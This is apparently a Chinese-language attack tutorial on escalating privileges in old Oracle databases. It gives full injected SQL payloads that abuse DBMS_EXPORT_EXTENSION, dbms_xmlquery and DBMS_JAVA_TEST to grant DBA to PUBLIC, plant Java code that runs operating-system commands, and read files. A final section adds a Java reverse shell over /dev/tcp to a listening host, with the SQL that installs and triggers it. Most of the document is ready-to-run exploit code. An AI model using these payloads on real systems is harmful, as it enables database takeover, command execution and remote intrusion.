簡介
oracle提權漏洞集中存在於PL/SQL編寫的函數、存儲過程、包、觸發器中。oracle存在提權漏洞的一個重要原因是PL/SQL定義的兩種調用權限導致(定義者權限和調用者權限)。定義者權限給了低權限用戶在特定時期擁有高權限的可能,這就給提權操作奠定了基礎。
即無論調用者權限如何,執行存儲過程的結果權限永遠為定義者的權限。因此,如果一個較高權限的用戶定義了存儲過程,並賦予了低權限用戶調用權限,較低權限的用戶即可利用這個存儲過程提權。
Java具有一組非常強大的標准庫,oracle數據庫支持使用Java來編寫存儲過程,那么攻擊者就可以通過這一特性,在系統上執行Java代碼,從而完成提權操作。
oracle執行Java代碼的過程(以DBMS_EXPORT_EXTENSION()為例)**
1、創建Java庫
2、賦予Java權限
3、創建函數
4、賦予函數執行權限
5、執行
二、命令執行提升權限
共有三種方法來命令執行
1、DBMS_EXPORT_EXTENSION()
DBMS_EXPORT_EXTENSION是一個輸出擴展功能包,其中存在三個危險函數,get_domian_index_metadata,get_v2_domain_index_tables,get_domain_index_tables。都是以sys權限定義,默認低權限用戶可以調用。
影響版本:Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE(Fixed in CPU July 2006)
提權:該請求將導致查詢"GRANT DBA TO PUBLIC"以SYS身份執行。 因為這個函數允許PL / SQL缺陷(PL / SQL注入)。一旦這個請求成功執行,PUBLIC獲取DBA角色,從而提升當前user的特權。
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0) from dual
(1) 創建Java庫
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args){try{BufferedReader myReader= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) from dual
(2) 賦予Java權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual
(3) 創建函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';'''';END;'';END;--','SYS',0,'1',0) from dual
(4) 賦予函數執行權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
(5) 執行
select sys.LinxRunCMD('/bin/bash -c /usr/bin/whoami') from dual
2、dbms_xmlquery.newcontext()
它的利用過程需要DBMS_EXPORT_EXTENSION存在漏洞的情況下才可以成功。當DBMS_EXPORT_EXTENSION漏洞修復時,將無法使用該函數進行提權。其原理和操作過程與DBMS_EXPORT_EXTENSION類似。
影響版本:Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE(Fixed in CPU July 2006)
(1) 創建java包
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;
通過以下命令可以查看all_objects內部改變:
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
(2) 賦予當前用戶java權限
--當前用戶查看
select user from dual
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;
查看可用的java權限列表,通過以下命令查看賦權情況
select * from user_java_policy where grantee_name='YY';
(3) 創建函數
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;
判斷是否創建成功
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
若想刪除創建的函數,通過以下命令刪除
drop function LinxRunCMD
(4) 執行
select LinxRUNCMD('whoami') from dual;
3、DBMS_JAVA_TEST.FUNCALL()
影響版本:10g R2,11g R1,11g R2
需要擁有Java代碼執行權限
直接調用:select
Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','pwd > /tmp/pwd.txt') from dual;
會顯示報錯
三、反彈shell
在提權操作中如果遇到無回顯情況,可以通過反彈shell的方式,在自己的vps上監聽端口,以此來執行交互式命令,java代碼:
import java.io.*;
import java.net.*;
public class shellRev
{
public static void main(String[] args)
{
System.out.println(1);
try{run();}
catch(Exception e){}
}
public static void run() throws Exception
{
String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/192.168.1.50/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};
Process p=Runtime.getRuntime().exec(aaa);
}
}
# 編譯
javac shellRev.java
# 執行
java shellRev
1. 創建java代碼
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell {public static void run() throws Exception{String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/127.0.0.1/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};Process p=Runtime.getRuntime().exec(aaa);}}'''';END;'';END;--','SYS',0,'1',0) from dual
2. 賦予java權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.net.SocketPermission'''''''', ''''''''<>'''''''', ''''''''*'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
3. 創建函數
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
4. 賦予函數執行權限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on reversetcp to public'''';END;'';END;--','SYS',0,'1',0) from dual
5. 反彈shell
select sys.reversetcp from dual